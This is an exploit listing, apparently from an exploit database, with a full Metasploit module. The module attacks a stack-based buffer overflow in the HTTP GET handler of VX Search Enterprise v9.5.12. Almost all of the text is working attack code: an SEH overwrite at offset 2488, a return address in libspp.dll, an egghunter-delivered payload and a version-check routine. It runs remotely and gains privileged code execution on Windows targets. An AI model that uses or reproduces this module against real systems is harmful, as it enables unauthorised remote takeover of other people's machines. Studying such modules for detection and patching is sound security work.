VX Search Enterprise GET Buffer Overflow

2017.05.23
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'VX Search Enterprise GET Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in the web interface of VX Search Enterprise v9.5.12, caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1 x86. }, 'License' => MSF_LICENSE, 'Author' => [ 'Daniel Teixeira' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x09\x0a\x0d\x20\x26", 'Space' => 500 }, 'Targets' => [ [ 'VX Search Enterprise v9.5.12', { 'Offset' => 2488, 'Ret' => 0x10015ffe # POP # POP # RET [libspp.dll] } ] ], 'Privileged' => true, 'DisclosureDate' => 'Mar 15 2017', 'DefaultTarget' => 0)) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => '/' ) if res && res.code == 200 version = res.body[/VX Search Enterprise v[^<]*/] if version vprint_status("Version detected: #{version}") if version =~ /9\.5\.12/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end else vprint_error('Unable to determine due to a HTTP connection timeout') return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def exploit eggoptions = { checksum: true, eggtag: rand_text_alpha(4, payload_badchars) } hunter, egg = generate_egghunter( payload.encoded, payload_badchars, eggoptions ) sploit = rand_text_alpha(target['Offset']) sploit << generate_seh_record(target.ret) sploit << hunter sploit << make_nops(10) sploit << egg sploit << rand_text_alpha(5500) print_status('Sending request...') send_request_cgi( 'method' => 'GET', 'uri' => sploit ) end end


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